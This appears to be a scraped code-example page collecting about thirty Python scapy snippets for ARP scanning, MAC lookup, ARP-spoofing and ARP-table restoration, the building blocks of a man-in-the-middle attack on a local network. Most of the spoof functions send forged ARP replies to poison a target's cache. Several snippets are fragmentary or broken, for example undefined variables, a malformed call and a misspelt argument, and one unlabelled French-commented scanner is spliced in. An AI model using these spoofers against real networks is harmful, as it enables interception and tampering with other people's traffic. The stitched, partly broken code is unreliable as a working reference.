Пример #1
0
def reset(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)
    arp_response = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
    scapy.send(arp_response, verbose=False)
Пример #2
0
def spoof(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    #op=1 for sending op=2 for receiveing
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)
Пример #3
0
def spoof(victim_ip, spoof_ip):
    packet = scapy.ARP(op=2,
                       pdst=victim_ip,
                       hwdst=get_mac(victim_ip),
                       psrc=spoof_ip)
    scapy.send(packet, verbose=0)
Пример #4
0
def get_mac(ip):
    packet = scapy.ARP(pdst=ip, hwdst="ff:ff:ff:ff:ff:ff")
    response = scapy.sr(packet, timeout=1, verbose=False)[0]
    return response[0][1].hwsrc
Пример #5
0
import scapy.all as scapy
arp_packet = scapy.ARP(op=2,
                       pdst="192.168.225.249",
                       hwdst="00-0C-29-52-47-B6",
                       psrc="192.168.225.230")
scapy.ls(arp_packet)
print(arp_packet.summary())
print(arp_packet.show())
    #On commence le scan réseau afin de découvrir les hôtes présents sur le réseau
    if action == '1':
        #print("en cours!")
        while True:
            #Saisie de l'adresse IP à scanner par l'utilisateur
            ip_adr_saisie = input("\nEntrez l'adresse IP du réseau à scanner au format (Ex: 192.168.0.1/24): ")
            #On fait un block Try/Except pour vérifier si l'adresse IP saisie respecte la bonne nomenclature des IP
            try:
                #Avec le module ipaddress on vérifie si l'adresse IP est correcte
                ip_adr_check = ipaddress.ip_network(ip_adr_saisie, False)
                break;
            except:
                print("Adresse IP invalide. Reéssayez!")
        #ip_adr_saisie = input("\nEntrez l'adresse IP à scanner: ")
        #Création du packet ARP
        arp_packet = scapy.ARP(pdst=ip_adr_saisie)
        #Création du packet Ether pour le broadcasting. L'adresse MAC utilisé est ff:ff:ff:ff:ff:ff
        ether = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        #Faire l'empilation
        broadcast_packet = ether/arp_packet
        #le résultat est une liste de paires au format (sent_packet, received_packet)
        resultat = scapy.srp(broadcast_packet, timeout=3, verbose=0)[0]

        #On crée une liste des clients à récupérer
        clients = []
        for sent, received in resultat:
            #pour chaque réponse, on ajoute l'adresse ip et mac à la liste `clients`
            clients.append({'ip': received.psrc, 'mac': received.hwsrc})
        #Affichage des résultats
        print("Les hôtes disponibles sur le réseau sont:")
        print("IP\t\t\tMAC\n----------------------------------------")
Пример #7
0
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)
Пример #8
0
def create_packet(ip):
    arp_request = scapy.ARP(pdst=ip)  # create a ARP request object by scapy
    broadcast = scapy.Ether(
        dst="ff:ff:ff:ff:ff:ff")  # we have set the destination
    arp_request_broadcast = broadcast / arp_request
    return arp_request_broadcast
Пример #9
0
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst="52:54:00:12:35:00", psrc=spoof_ip)
    scapy.send(packet, verbose=False)
Пример #10
0
def restore(dst_ip, src_ip):
    packet = scapy.ARP(op=2, pdst=dst_ip, hwdst=mac(dst_ip), psrc=src_ip, hwsrc=mac(src_ip))
    scapy.send(packet, count=4, verbose=False)
Пример #11
0
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    full_request = broadcast / arp_request
    answered = scapy.srp(full_request, timeout=1, verbose=False)[0]
    return answered[0][1].hwsrc
Пример #12
0
def spoof(target_ip, spoof_ip):
    target_mac = mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)    # use scapy.ls(scapy.ARP()) to get details of the parameters
    scapy.send(packet, verbose=False)
Пример #13
0
def restore(dest, source):
    dest_mac= scan(dest)
    source_mac = scan(source)
    packet = scapy.ARP(op=2, pdst=dest, hwdst=dest_mac, psrc=source, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)
Пример #14
0
def spoof(target_ip, spoof_ip):
    dst_mac = getmac(target_ip)
    print(dst_mac, "\t", target_ip, "\n")
    arp_respond = scapy.ARP(op=2, pdst=target_ip, hwdst=dst_mac, psrc=spoof_ip)
    scapy.send(arp_respond, verbose=False)
def scan(ip):
    arp_req = sp.ARP(pdst=ip)
    broadcast = sp.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast = broadcast / arp_req
    answered = sp.srp(arp_broadcast, timeout=10, verbose=False)[0]
    return answered[0][1].hwsrc
Пример #16
0
def restore(destination_ip, source_ip):
    #source_mac = get_mac(destination_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst="52:54:00:12:35:00", psrc=source_ip, hwsrc="52:54:00:12:35:02")
    scapy.send(packet, count=4, verbose=False)

    restore("10.0.2.15, 10.0.2.1")
Пример #17
0
def scan(ip):
    arp_request = scapy.ARP()
    arp_request.pdst= ip
    print(arp_request.summary())
Пример #18
0
def createPacket(ip):
    ip = "192.168.4.1/24"
    arp_request = scapy.ARP(pdst=ip)  # create a ARP request object by scapy
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")  # We have set the destination
    arp_request_broadcast = broadcast / arp_request
    return (arp_request_broadcast)
Пример #19
0
def scan(IP):
	apr_request = scapy.ARP(pdst=IP)
	broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
	apr_request_broatcast = broadcast/apr_request
	answered_list = scapy.srp(apr_request_broatcast, timeout=1, verbo=False)[0]
Пример #20
0
import scapy.all as scapy


def get_mac(ip):

    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip),
                 timeout=3,
                 verbose=0)
    if ans:
        return ans[0][1].src


packet = scapy.ARP(op=2,
                   pdst="192.168.43.132",
                   hwdst="cc:2f:71:12:da:a9",
                   psrc="192.168.43.1")


def spoof(target_ip, host_ip, verbose=True):

    target_mac = get_mac(target_ip)

    arp_response = ARP(pdst=target_ip,
                       hwdst=target_mac,
                       psrc=host_ip,
                       op='is-at')
    send(arp_response, verbose=0)
    if verbose:
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip,
                                                    self_mac))
Пример #21
0
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)
Пример #22
0
def spoof(target_ip, spoof_ip):
    #    target_mac = get_mac(target_ip)
    packet = scapy.ARP(
        op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip
    )  #setting op=2 creates an ARP response packet instead of the default ARP request packet created with the default value of op=1
    scapy.send(packet, verbose=False)
Пример #23
0
def spoof(ip_target, ip_spoofed, interface):
    # get the mac address of target device
    target_mac = get_mac(ip_target)
    packet = scapy.ARP(op=2, psrc=ip_spoofed, pdst=ip_target, hwdst=target_mac)
    scapy.send(packet, verbose=False, iface=interface)
Пример #24
0
def restore(dst_ip, src_ip):
    dst_mac = get_mac(dst_ip)
    src_mac = get_mac(src_ip)
    packet = scapy.ARP(op=2, pdst=dst_ip, psrc=src_ip, hwdst=dst_mac, hwsrc=src_mac)
    scapy.send(packet, count=10, verbose=False)
Пример #25
0
def spoof_args(targetIP, spoofedIP):
    mac = get_target_mac(targetIP)
    packet = scapy.ARP(op=2, hwdst=mac, pdst=targetIP, psrc=spoofedIP)
    scapy.send(packet, verbose=False)
Пример #26
0
 def get_mac(ip):
   request = scapy.ARP(pdst = ip)
   brodcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
   arp_brodcast = brodcast/request
   useful = scapy.srp(arp_brodcast, timeout = 1,verbose = False)[0]
   return useful[0][1].hwsrc
Пример #27
0
def get_mac(ip):
    broadcast = scapy.Ether(dst="FF:FF:FF:FF:FF:FF")
    request = scapy.ARP(pdst=ip)
    response = scapy.srp(broadcast / request, verbose=0, retry=1, timeout=1)[0]
    return response[0][1].hwsrc
Пример #28
0
 def arp_request(gateway,target_ip):
    mac_address = get_mac(target_ip)
    packet = scapy.ARP(psrc = gateway,hwdst = mac_address,pdst = target_ip,op = 2)
    scapy.send(packet,verbose = False)
Пример #29
0
def spoof(destination_ip, source_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2 , pdst=destination_ip, hwdst=target_mac, psrc=source_ip)
    scapy.send(packet ,verbose =False)
Пример #30
0
def get_macadd(ip):
    arp_req = scapy.ARP(pdst=ip)
    bcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_req_bcast = bcast / arp_req
    ans_list = scapy.srp(arp_req_bcast, timeout=1, verbose=False)[0]
    return ans_list[0][1].hwsrc